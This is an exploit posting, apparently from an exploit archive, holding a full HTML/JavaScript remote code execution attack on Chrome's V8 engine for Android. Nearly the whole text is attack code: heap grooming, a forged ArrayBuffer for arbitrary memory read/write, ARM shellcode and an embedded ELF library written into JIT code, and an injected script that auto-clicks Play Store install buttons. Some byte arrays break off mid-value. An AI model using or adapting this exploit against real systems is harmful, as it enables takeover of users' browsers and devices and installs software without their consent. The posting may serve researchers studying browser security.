Google Chrome V8 Private Property Arbitrary Code Execution
Posted on 15 June 2017
<html> // Source: https://github.com/secmob/pwnfest2016/ <script> function exploit(){ function to_hex(num){ return (num>>>0).toString(16); } function intarray_to_double(int_arr){ var uBuf = new Uint32Array(2); var dBuf = new Float64Array(uBuf.buffer); uBuf[0]=int_arr[0]; uBuf[1]=int_arr[1]; return dBuf[0]; } function str_to_double(str){//leng of str must be 8 var dBuf = new Float64Array(1); var u8Buf = new Uint8Array(dBuf.buffer); for(var i=0;i<str.length;i++){ u8Buf[i] = str.charCodeAt(i); } return dBuf[0]; } function double_to_array(value){ var uBuf = new Uint32Array(2); var dBuf = new Float64Array(uBuf.buffer); dBuf[0]=value; return uBuf; } function gc(){ for(var i=0;i<0x100000/16;i++){ new String; } } function getHiddenValue(){ var obj = {}; var oob = "/re/"; //oob = oob.replace("re","*".repeat(0x2000)); oob = oob.replace("re","*".repeat(0x100000)); var str = 'class x extends Array{'+oob+"}"; var fun = eval(str); Object.assign(obj,fun); return obj; } var obWin; function makeOobString(){ var hiddenValue = getHiddenValue(); var magicStr = "bbbb"; var arr=[]; var str = 'class x extends Array{}'; for(var i=0;i<str.length;i++){ arr[i]=str.charCodeAt(i); } var ob = new Array(0x200); ob.fill(0x31313131); gc(); gc(); str=String.fromCharCode.apply(null,arr); ob=ob.concat(0x32323232); var fun = eval(str); ob[2]=str; ob[3]=ob; Object.assign(fun,hiddenValue); var oobString = fun.toString(); gc(); gc(); print("begin search"); var subStr = oobString.substr(0,0x8000); var pos = subStr.indexOf(magicStr); print("end search"); if(pos==-1){ print("find magic failed"); postMessage(false); self.close(); print("unpossible"); throw "error"; }else{ print("find magic at "+pos); } oobString = oobString.substr(pos,ob.length*4); obWin=ob; return oobString; } var oobString = makeOobString(); print("get oob string successfully"); function print(){ console.log.apply(null,arguments); /*document.write('<p >'); document.write.apply(document,arguments); document.write("<p>");*/ } function str2arr(str,len){//len must be multile of 4 if(len===undefined) len = str.length; var u8a = new Uint8Array(len); for(var i=0;i<len;i++){ u8a[i] = str.charCodeAt(i); } return new Uint32Array(u8a.buffer); } function pArrayInHex(arr){ var result="<p style='font-size:8px'>"; for(var i=0;i<arr.length;i++){ result+=(arr[i]+0x100000000).toString(16).substr(-8); result+=" "; if(i%8==7) result+="<p style='font-size:8px'>"; } result+="<p>"; print(result); //alert(result); return result; } function pStrInHex(str){ //var result="<p style='font-size:8px'>"; var result=" "; for(var i=0;i<str.length;i++){ var code = str.charCodeAt(i); result+=(code+0x100).toString(16).substr(-2); if(i%4==3) result+=" "; if(i%32==31) // result+="<p style='font-size:8px'>"; result+=" "; } // result+="<p>"; result+=" "; print(result); return result; } function getObjAddr(obj){ obWin[0]=obj; var value2= ((str2arr(oobString,4))[0]); return value2>>>0; } var getObj24BitsAddr = function(){ var smi=0; var code = 0; var i=0; //don't allocate heap object function getAddr(obj){ obWin[0]=obj; value=0; code = 0; i=0; for(i=2;i>=0;i--){ code = oobString.charCodeAt(i); value = code+value*256; } return value; } return getAddr; }(); var lengthInOldSpace = 0xfffffffc; var abarr=new Array(800); function sprayVM(){ var i=0; var j=0; try{ for(i=0;i<20;i++){ var u8 = new Uint8Array(0x10000000-0x500); abarr[i]=u8; } }catch(e){} try{ for(j=0;j<100;j++){ var u8 = new Uint8Array(0x8000000-0x500); abarr[i+j]=u8; } }catch(e){} print("allocate "+i+" 256M "+j+" 16M ") function getRandomInt(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } delete abarr[getRandomInt(0,i)]; } function getNewSpaceAddrs(){ /*var kMaxRegularHeapObjectSize =523776;// 507136; var str="1".repeat(kMaxRegularHeapObjectSize-0x2000); str+="%";*/ var objsInNewSpace = new Array(80); for(var i=0;i<objsInNewSpace.length;i++){ //var xx=escape(str); var xx = new Array(0x70000/4); objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0; //a1/2?newspaceae'c|>>aePS new Uint8Array(0x100000-0x500); new Uint8Array(0x100000-0x500); } function compareNumbers(a, b) { return a - b; } objsInNewSpace = Array.from(new Set(objsInNewSpace)); objsInNewSpace = objsInNewSpace.sort(compareNumbers); return objsInNewSpace; } print("begin get new space address"); var objsInNewSpace = getNewSpaceAddrs(); while(objsInNewSpace.length<16){ objsInNewSpace = getNewSpaceAddrs(); print("new space addresses"); pArrayInHex(objsInNewSpace); } try{ sprayVM(); }catch(e){} var selectedTrunk = 0; var selectedStr = ""; function bruteForceFengShui(){ var huge_str = "x".repeat(0x100000-0x9000);//-0x9000 huge_str +="%"; var hold = new Array(100); //var holdaddress = new Array(100); for(var i=0;;i++){ var large = escape(huge_str); var addr = getObjAddr(large); //console.log(addr.toString(16) + " "+i); if(i<hold.length){ hold[i]=large; //holdaddress[i]=addr; } addr=(addr&0xfff00000)>>>0; addr = addr-0x100000; if(objsInNewSpace.indexOf(addr)!=-1){ selectedTrunk = addr; selectedStr = large; abarr.fill(1); hold.fill(1); //holdaddress.fill(1); break; } if(i===150){ /*i=0; print("tried 200 times"); abarr.fill(1); try{ sprayVM(); }catch(e){};*/ postMessage(false); close(); throw "exceed limits"; } } } bruteForceFengShui(); //to avoid allocate memory latter, initilize here var nextTrunk = selectedTrunk + 0x100000; //caea,aeP3a$?a$?SSca-e->>aaa var huge_str = "eval('');"; //8000a,e1/2a$?aa$?SSi1/4a$?aa$?SSa1/4a1/2?new_spaceaC/a$?SS for(var i=0;i<8000;i++) huge_str += 'a.a;'; huge_str += "return 10;"; var huge_func = new Function('a',huge_str); huge_func({}); function fillNewSpace(origObj){ //first object in new space at 0x8100, new spaces layout //0x40000 //0x37f00 //..... //0x40000 var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25 var gap = gap+"%"; //flat gap gap.substr(0,100); var fillstr = "%20a".repeat((0x40000-12)/4); fillstr = escape(fillstr); var addr=0; for(var i=0;i<0x100;i++){ addr = getObj24BitsAddr(origObj); if((addr&0xfffff)===0x8101) origObj=escape(gap); else origObj=unescape(fillstr); } } function findNewSpace(){ var kMaxRegularHeapObjectSize =523776;// 507136; var str="1".repeat(kMaxRegularHeapObjectSize-0x2000); str+="%"; for(var i=0;;i++){ var xx=escape(str); var straddr = getObjAddr(xx); addr=(straddr&0xfff00000)>>>0; if(addr===selectedTrunk){ print("good state "+straddr.toString(16)); break; } } } function myencode(str){ var arr = []; for(var i=0;i<str.length;i++){ if(i%2==1) arr.push(str.charCodeAt(i)); else{ arr.push(37);//% var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2); arr.push(hexstr.charCodeAt(0)); arr.push(hexstr.charCodeAt(1)); } } return String.fromCharCode.apply(null,arr); } var dArray = []; var index = (0x8100-36)*2; for(var i=0;i<0x20000/8;i++){ dArray[i]=str_to_double("%03x%03x"); } var occulen = 0; var i = 0; var savedChunk = new Uint8Array(0x8100); var hiddenValue = getHiddenValue(); var arr=[]; fillNewSpace(new String); findNewSpace(); var classStr = 'class x extends Array{}'; for(var i=0;i<classStr.length;i++){ arr[i]=classStr.charCodeAt(i); } var magicStr = String.fromCharCode(0x86,0x24); classStr=String.fromCharCode.apply(null,arr); var ab = new ArrayBuffer(0x1243); var fun = eval(classStr); Object.assign(fun,hiddenValue); var oobStr = fun.toString(); /*(gdb) x/20xw 0x5600c45c array buffer layout * 0x5600c45c: 0x4b009a9d 0x41008125 0x41008125 0x00000020 * 0x5600c46c: 0x09fda368 0x00000004 0x00000000 0x00000000 */ //overwrite huge string as array buffer var abLengthIndex = oobStr.indexOf(magicStr); var strArrayBuffer = oobStr.substr(abLengthIndex-12,32); //replace the byteLength var LengthAddr = getObjAddr(lengthInOldSpace); var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24); var strBase = "x00x00x00x00"; strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12); strArrayBuffer = myencode(strArrayBuffer); for(var i=0;i<strArrayBuffer.length/8;i++){ var d = strArrayBuffer.substr(i*8,8); dArray[index/8+i] = str_to_double(d); } var classStrAddr = getObjAddr(classStr)>>>0; //set read position var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head //length control the length of unscaped string, generated string has 12 bytes head //left 0x1000*2 bytes to avoid gc var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000); //save the the chunk head to be corrupted var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12; var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100); for(var i =0;i<savedThunkStr.length;i++){ savedChunk[i] = savedThunkStr.charCodeAt(i); } var pos1=new String; var pos1addr = getObj24BitsAddr(pos1)-1; //0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff); //minus the length of double array if(occulen<0x40000+16+8) throw "no enough room"; occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray if(occulen%4!==0) throw "length don't align"; var arrocc=new Array((occulen/4)); //set unescape write position var occDoubleArray = dArray.concat(); var b=unescape(subOobStr); //restore the corrupted chunk head var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100); for(var i=0;i<savedChunk.length;i++){ u8[i] = savedChunk[i]; } print("long string allocated at "+classStrAddr.toString(16)); if(typeof(selectedStr)==="string"){ print("overwrite failed"); postMessage(false); close(); return; //throw "overwrite failed"; } var fakeab = selectedStr; print("faked array buffer byte length is "+fakeab.byteLength.toString(16)); var globaldv = new Uint32Array(fakeab); function read_uint32(from_address){ var u32 = globaldv[(from_address/4)>>>0]; return u32>>>0; } function read_uint8(from_address){ from_address = from_address>>>0; var index = (from_address/4)>>>0; var mask = from_address%4; var u32 = globaldv[index]; u32 = u32<<8*(3-mask); return u32>>>24; } function read_uint32_unalign(from_address){ var u32 = 0; for(var i=3;i>=0;i--){ var u8 = read_uint8(from_address+i); u32 = u32*0x100+u8; } return u32>>>0; } //rw to execute //get function point of v8::internal::Accessors::ReconfigureToDataProperty function getFixedFunctionPoint(fakeab){ var FunctionAddress = getObjAddr(Function); var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000); var map = u32[0]; u32 = new Uint32Array(fakeab,map-1,0x1000); //instance descriptors var descriptors = u32[7]; u32 = new Uint32Array(fakeab,descriptors-1,0x1000); var lengthAccessorInfo = u32[6]; u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000); var setterForeign = u32[4]; u32 = new Uint32Array(fakeab,setterForeign-1,0x1000); var functionPoint = u32[1]; return functionPoint-1; } var funPoint = getFixedFunctionPoint(fakeab); print("ReconfigureToDataProperty at"+funPoint.toString(16)); var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000 print("chrome.apk base at "+point.toString(16)); function find(startAddr,len,pattern){ for(var i=0; i<(len-pattern.length); i++ ) { for(var j=0;j<pattern.length;j++){ var temp = read_uint8(startAddr+i+j); //print(temp.toString(16)); if(temp!=pattern[j]) break; } if(j==pattern.length) return startAddr+i; } print("find failed"); } var pattern_position=find(point,0x10000000,pattern); print("find pattern at "+to_hex(pattern_position)); function get_dest_from_blx(addr) { var val = read_uint32_unalign(addr); var s = (val & 0x400) >> 10; var i1 = 1 - (((val & 0x20000000) >> 29) ^ s); var i2 = 1 - (((val & 0x8000000) >> 27) ^ s); var i10h = val & 0x3ff; var i10l = (val & 0x7fe0000) >> 17; var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2); return ((addr + 4) & ~3) + off; } function backup_original_code(start_address){ var backup_arr = []; set_access_address(start_address); var u8arr=new Uint8Array(faked_ab); for(var i=0;i<shellcode.length+4096;i++){ backup_arr[i]=u8arr[i]; } return backup_arr; } function restore_original_code(start_address,backup_arr){ set_access_address(start_address); var u8arr=new Uint8Array(faked_ab); for(var i=0;i<shellcode.length+4096;i++){ u8arr[i]=backup_arr[i]; } } huge_func({}); print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4))); var dlsym_addr = get_dest_from_blx(pattern_position-4); print("dlsym address is "+to_hex(dlsym_addr)); var huge_func_address = getObjAddr(huge_func)-1; print("huge func address is "+to_hex(huge_func_address)); for(var i=0;i<20;i++){ print(to_hex(read_uint32(huge_func_address+i*4))); } var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4 print("huge func code entry is "+to_hex(huge_func_code_entry)); print(to_hex(read_uint32(huge_func_code_entry))); //var so_str= ""; var shellcode = [0xf0,0x4f,0x2d,0xe9,0x79,0x30,0xa0,0xe3,0x8c,0x0b,0xdf,0xed,0x4b,0xdf,0x4d,0xe2,0x61,0x80,0xa0,0xe3,0x00,0x60,0xa0,0xe3,0x73,0x10,0xa0,0xe3,0x74,0x20,0xa0,0xe3,0x5f,0x90,0xa0,0xe3,0x61,0x30,0xcd,0xe5,0x65,0xa0,0xa0,0xe3,0x6d,0xb0,0xa0,0xe3,0x5b,0x30,0xcd,0xe5,0x6e,0xc0,0xa0,0xe3,0x6c,0x30,0xa0,0xe3,0xfa,0x80,0xcd,0xe5,0x64,0x70,0xa0,0xe3,0x72,0x50,0xa0,0xe3,0x60,0x10,0xcd,0xe5,0x6f,0x40,0xa0,0xe3,0x69,0xe0,0xa0,0xe3,0x62,0x10,0xcd,0xe5,0x67,0x80,0xa0,0xe3,0x5a,0x10,0xcd,0xe5,0x18,0x00,0x8d,0xe5,0x70,0x00,0xa0,0xe3,0x63,0x20,0xcd,0xe5,0x0a,0x21,0xcd,0xe5,0x64,0xa0,0xcd,0xe5,0x65,0xb0,0xcd,0xe5,0x5c,0xb0,0xcd,0xe5,0xf8,0x90,0xcd,0xe5,0xf9,0x90,0xcd,0xe5,0x01,0x91,0xcd,0xe5,0x05,0x91,0xcd,0xe5,0x20,0x90,0xa0,0xe3,0xfb,0xc0,0xcd,0xe5,0x09,0xc1,0xcd,0xe5,0xfc,0x70,0xcd,0xe5,0x00,0x71,0xcd,0xe5,0x58,0x70,0xcd,0xe5,0x78,0x70,0xa0,0xe3,0xfd,0x50,0xcd,0xe5,0x07,0x51,0xcd,0xe5,0xfe,0x40,0xcd,0xe5,0x03,0x41,0xcd,0xe5,0xff,0xe0,0xcd,0xe5,0x08,0xe1,0xcd,0xe5,0x02,0x31,0xcd,0xe5,0x59,0x30,0xcd,0xe5,0x66,0x60,0xcd,0xe5,0x0b,0x61,0xcd,0xe5,0x5d,0x60,0xcd,0xe5,0x04,0x81,0xcd,0xe5,0x25,0x80,0xa0,0xe3,0x1c,0x0b,0xcd,0xed,0xeb,0x10,0xcd,0xe5,0x18,0x10,0x9d,0xe5,0x9c,0x20,0xcd,0xe5,0x9f,0x20,0xcd,0xe5,0x18,0x20,0x9d,0xe5,0x98,0xb0,0xcd,0xe5,0x2c,0xb0,0xa0,0xe3,0x9d,0xa0,0xcd,0xe5,0xe8,0xe0,0xcd,0xe5,0x63,0xe0,0xa0,0xe3,0xe9,0xc0,0xcd,0xe5,0xe8,0xc0,0x8d,0xe2,0xed,0xa0,0xcd,0xe5,0x70,0xa0,0x8d,0xe2,0xee,0x30,0xcd,0xe5,0xef,0x30,0xcd,0xe5,0x68,0x30,0xa0,0xe3,0x34,0xc0,0x8d,0xe5,0x9e,0xe0,0xcd,0xe5,0xec,0x30,0xcd,0xe5,0x06,0x01,0xcd,0xe5,0x99,0x00,0xcd,0xe5,0x06,0x00,0xa0,0xe1,0x9a,0x50,0xcd,0xe5,0x00,0x50,0x91,0xe5,0x06,0x10,0xa0,0xe1,0x9b,0x40,0xcd,0xe5,0x04,0x40,0x92,0xe5,0x38,0xa0,0x8d,0xe5,0xea,0x90,0xcd,0xe5,0xf0,0x90,0xcd,0xe5,0xf1,0x80,0xcd,0xe5,0xf4,0x80,0xcd,0xe5,0xf2,0x70,0xcd,0xe5,0xf5,0x70,0xcd,0xe5,0xf3,0xb0,0xcd,0xe5,0xa0,0x60,0xcd,0xe5,0xf6,0x60,0xcd,0xe5,0x35,0xff,0x2f,0xe1,0x10,0x00,0x8d,0xe5,0x58,0x10,0x8d,0xe2,0x34,0xff,0x2f,0xe1,0x1c,0x00,0x8d,0xe5,0xf8,0x10,0x8d,0xe2,0x10,0x00,0x9d,0xe5,0x1c,0x90,0x9d,0xe5,0x39,0xff,0x2f,0xe1,0x18,0x80,0x9d,0xe5,0x30,0x00,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x70,0x10,0x8d,0xe2,0x30,0xb0,0x9d,0xe5,0x02,0x00,0xa0,0xe3,0x04,0x70,0x98,0xe5,0x00,0x30,0x98,0xe5,0x00,0x70,0x8d,0xe5,0x3b,0xff,0x2f,0xe1,0x60,0x10,0x8d,0xe2,0x1c,0x50,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x35,0xff,0x2f,0xe1,0x00,0x20,0xa0,0xe1,0x70,0x10,0x8d,0xe2,0x02,0x30,0xa0,0xe1,0x02,0x00,0xa0,0xe3,0x00,0x20,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x98,0x10,0x8d,0xe2,0x1c,0x40,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x34,0xff,0x2f,0xe1,0x00,0xa0,0xa0,0xe1,0x18,0x00,0x9d,0xe5,0x07,0x20,0xa0,0xe3,0x0b,0x1a,0xa0,0xe3,0x10,0x50,0x90,0xe5,0xff,0xce,0xc5,0xe3,0x05,0x4a,0x85,0xe2,0x0f,0x30,0xcc,0xe3,0x01,0x0a,0x83,0xe2,0x3a,0xff,0x2f,0xe1,0xbc,0x72,0xd5,0xe1,0x1c,0x90,0x95,0xe5,0x06,0x00,0x57,0xe1,0x09,0x20,0x85,0xe0,0x06,0x00,0x00,0x1a,0x1b,0x00,0x00,0xea,0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x00,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0x15,0x00,0x00,0x2a,0x00,0xe0,0x92,0xe5,0x01,0x00,0x5e,0xe3,0xf8,0xff,0xff,0x1a,0x10,0x80,0x92,0xe5,0x00,0x00,0x58,0xe3,0xf5,0xff,0xff,0x0a,0x00,0x00,0xa0,0xe3,0x04,0x70,0x92,0xe5,0x00,0xb0,0x85,0xe0,0x00,0xa0,0x84,0xe0,0x08,0x10,0x92,0xe5,0x01,0x00,0x80,0xe2,0x07,0xc0,0xdb,0xe7,0x01,0xc0,0xca,0xe7,0x10,0x30,0x92,0xe5,0x03,0x00,0x50,0xe1,0xf5,0xff,0xff,0x3a,0xbc,0x72,0xd5,0xe1,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0xe9,0xff,0xff,0x3a,0x5f,0xe0,0xa0,0xe3,0x1f,0x0b,0x1f,0xed,0x61,0xb0,0xa0,0xe3,0x72,0x60,0xa0,0xe3,0x00,0x90,0xa0,0xe3,0x10,0x00,0x9d,0xe5,0x64,0xa0,0xa0,0xe3,0x74,0x70,0xa0,0xe3,0x10,0xe1,0xcd,0xe5,0x6e,0x80,0xa0,0xe3,0x69,0x30,0xa0,0xe3,0x11,0xe1,0xcd,0xe5,0x6f,0xc0,0xa0,0xe3,0x6c,0x20,0xa0,0xe3,0x19,0xe1,0xcd,0xe5,0x1d,0xe1,0xcd,0xe5,0x67,0xe0,0xa0,0xe3,0x1e,0x0b,0x8d,0xed,0x12,0xb1,0xcd,0xe5,0x70,0xb0,0xa0,0xe3,0x11,0x1e,0x8d,0xe2,0x14,0xa1,0xcd,0xe5,0x18,0xa1,0xcd,0xe5,0x15,0x61,0xcd,0xe5,0x1f,0x61,0xcd,0xe5,0x16,0xc1,0xcd,0xe5,0x1b,0xc1,0xcd,0xe5,0x1c,0xc0,0x9d,0xe5,0x17,0x31,0xcd,0xe5,0x20,0x31,0xcd,0xe5,0x1a,0x21,0xcd,0xe5,0x1c,0xe1,0xcd,0xe var so_str = "7f454c460101010000000000000000000300280001000000000000003400000044110000000000053400200008002800150014000600000034000000340000003400000000010000000100000400000004000000030000003401000034010000340100001300000013000000040000000100000001000000000000000000000000000000d80d0000d80d0000050000000010000001000000a40e0000a41e0000a41e00006c01000082010000060000000010000002000000a80e0000a81e0000a81e00002801000028010000060000000400000051e574640000000000000000000000000000000000000000060000000000000001000070d40c0000d40c0000d40c00002000000020000000040000000400000052e57464a40e0000a41e0000a41e00005c0100005c01000006000000040000002f73797374656d2f62696e2f6c696e6b657200000000000000000000000000000000000001000000000000000000000012000000100000000000000000000000120000001d00000000000000000000001200000034000000000000000000000012000000480000000000000000000000120000004f000000000000000000000012000000560000000000000000000000120000005d000000a00800003404000012000800650000000000000000000000120000006e0000000000000000000000120000007f0000000000000000000000110000009100000010200000000000001000f1ff9800000010200000000000001000f1ffa400000026200000000000001000f1ff005f5f6378615f66696e616c697a65005f5f6378615f617465786974005f5f61656162695f756e77696e645f6370705f707230005f5f616e64726f69645f6c6f675f7072696e74006d616c6c6f63006d656d736574006d656d63707900736f5f6d61696e006d70726f74656374005f5f737461636b5f63686b5f6661696c005f5f737461636b5f63686b5f6775617264005f6564617461005f5f6273735f7374617274005f656e64006c6962632e736f006c69626d2e736f006c6962737464632b2b2e736f006c69626d656469616e646b2e736f006c69627574696c732e736f006c696262696e6465722e736f006c69626d656469612e736f006c696273746167656672696768742e736f006c696273746167656672696768745f666f756e646174696f6e2e736f006c6962637574696c732e736f006c6962696e7075742e736f006c6962646c2e736f006c6962616e64726f69645f72756e74696d652e736f0072636532757873732e736f00000000030000000f0000000c0000000e0000000d0000000000000000000000000000000200000001000000040000000000000006000000050000000800000007000000030000000a000000090000000b000000a41e0000170000000020000017000000d01f0000150b0000e01f000016010000e41f000016020000e81f000016040000ec1f000016050000f01f000016060000f41f000016070000f81f000016090000fc1f0000160a000004e02de504e09fe50ee08fe008f0bee5741b000000c68fe201ca8ce274fbbce500c68fe201ca8ce26cfbbce500c68fe201ca8ce264fbbce500c68fe201ca8ce25cfbbce500c68fe201ca8ce254fbbce500c68fe201ca8ce24cfbbce500c68fe201ca8ce244fbbce500c68fe201ca8ce23cfbbce500482de904b08de20c309fe503308fe00300a0e1e1ffffeb0088bde8281b000000482de904b08de208d04de208000be508301be5000053e30100000a08301be533ff2fe104d04be20088bde800482de904b08de208d04de208000be528309fe503308fe00300a0e108101be51c309fe503308fe00320a0e1cbffffeb0030a0e10300a0e104d04be20088bde8b8ffffffc41a000020d04de20c008de508108de504208de500308de50030a0e31730cde50030a0e318308de5210000ea0030a0e31c308de50030a0e31c308de50f0000ea18209de51c309de5033082e004209de5033082e00020d3e50c109de51c309de5033081e00030d3e5030052e10000000a060000ea1c309de5013083e21c308de51c209de508309de5030052e1ebffff3a1c209de508309de5030052e10100001a18309de5090000ea18309de5013083e218308de518209de508309de5032082e000309de5030052e1d7ffff9a0030e0e30300a0e120d08de21eff2fe104e02de524d04de20c008de508108de514329fe503308fe0003093e50320a0e108329fe503308fe002c0a0e10700b3e800008ce504108ce508208ce5f0319fe503308fe00030d3e5013023e27330efe6000053e36900000ad8319fe503308fe00120a0e30020c3e508309de500308de50600a0e3c0319fe503308fe00310a0e1b8319fe503308fe00320a0e10c309de56dffffeb08309de5003093e510308de510309de5043083e2003093e514308de510309de50c3083e218308de518309de500308de50600a0e374319fe503308fe00310a0e16c319fe503308fe00320a0e114309de558ffffeb5c319fe503308fe0002093e514309de5033082e00300a0e154ffffeb0030a0e11c308de53c319fe503308fe0002093e514309de5033082e01c009de50010a0e30320a0e14cffffeb10309de51c009de50310a0e10c20a0e34affffeb1c309de50c1083e200319fe503308fe0002093e5f8309fe503308fe0003093e50100a0e10210a0e10320a0e13effffebe0309fe503308fe0003093e50c3083e21c209de5032082e018309de50200a0e10310a0e114209de533ffffeb1c309de5043083e2b0209fe502208fe0001092e514209de5022081e0002083e51c309de5043083e20 var arrayBuffer = new ArrayBuffer(0x1000000); var arrayBufferAddress = getObjAddr(arrayBuffer)-1; var backingStoreAddress = read_uint32(arrayBufferAddress+4*4); var args_address = backingStoreAddress+1024; function write_shellcode(dlsym_addr,buffer){ //ldr r0,[pc,4]//0xe59f0004 //ldr r1,[pc,4]//0xe59f1004 //b shellcode;//0xea000001 //dlopen_addr//array_buffer_address //dlsym_addr //shellcode //var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr]; var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000]; for(var i=0;i<stub.length;i++){ globaldv[buffer/4+i]=stub[i]; } shellcode = shellcode.concat([0,0,0,0]); for(var i=0;i<shellcode.length/4>>>0;i++){ // u8arr[i+4*stub.length]=shellcode[i]; globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]); } return stub.length*4+shellcode.length; } function xss_code(){ //alert(navigator.userAgent); //alert(document.cookie); var i1=setInterval(function(){ if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){ console.log("wait load complete"); return; } clearInterval(i1); var i2=setInterval(function(){ document.getElementsByClassName("price buy id-track-click")[0].click(); var installButton = document.getElementById("purchase-ok-button"); if(installButton == null) return; installButton.click(); document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>"); clearInterval(i2); setTimeout(function(){ window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"); },26000); },500); },500); } var js_str=" "+xss_code.toString()+"xss_code(); "; //var backup_arr = backup_original_code(huge_func_code_entry); var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry); var args_view = new DataView(arrayBuffer,1024,100); var so_file_view = new DataView(arrayBuffer,4096); var js_view = new DataView(arrayBuffer,0x100000); args_view.setUint32(0,dlsym_addr+0xc,true); args_view.setUint32(4,dlsym_addr,true); args_view.setUint32(8,huge_func_code_entry,true); args_view.setUint32(12,writed_len,true); args_view.setUint32(16,backingStoreAddress+4096,true); args_view.setUint32(20,so_str.length/2,true); args_view.setUint32(24,backingStoreAddress+0x100000,true); args_view.setUint32(28,js_str.length,true); print("length is "+so_str.length); for(var i=0;i<so_str.length;i+=2){ var value = so_str.substr(i,2); value = "0x"+value; so_file_view.setUint8(i/2,parseInt(value)); } for(var i=0;i<js_str.length;i++){ js_view.setUint8(i,js_str.charCodeAt(i)); } print("begin execute shellcode"); huge_func({}); print("done"); postMessage(true); //prevent arrayBuffer to be released while(1){} } //main world function print(){ console.log.apply(null,arguments); document.write('<p >'); document.write.apply(document,arguments); document.write("<p>"); } // Build a worker from an anonymous function body var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) ); var worker; var exploitSucc = false; var count = 0; function startExploit(){ print("worker thread is started"); worker = new Worker( blobURL ); count++; worker.onmessage = function(e){ print("exploit result is "+e.data); exploitSucc = e.data; if(exploitSucc==false){ startExploit(); return; } var end = +new Date(); print("time diff is "+(end-begin)/1000); //top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android'; top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner'; } } var begin = +new Date(); startExploit(); var savedCount = 0; var hangMonitor = setInterval(function (){ if(exploitSucc==true){ clearInterval(hangMonitor); }else{ if(savedCount==count){//maybe hang print("worker maybe hange"); worker.terminate(); startExploit(); }else{ print("worker is normal"); savedCount = count; } } },10000); //URL.revokeObjectURL( blobURL ); </script> </html>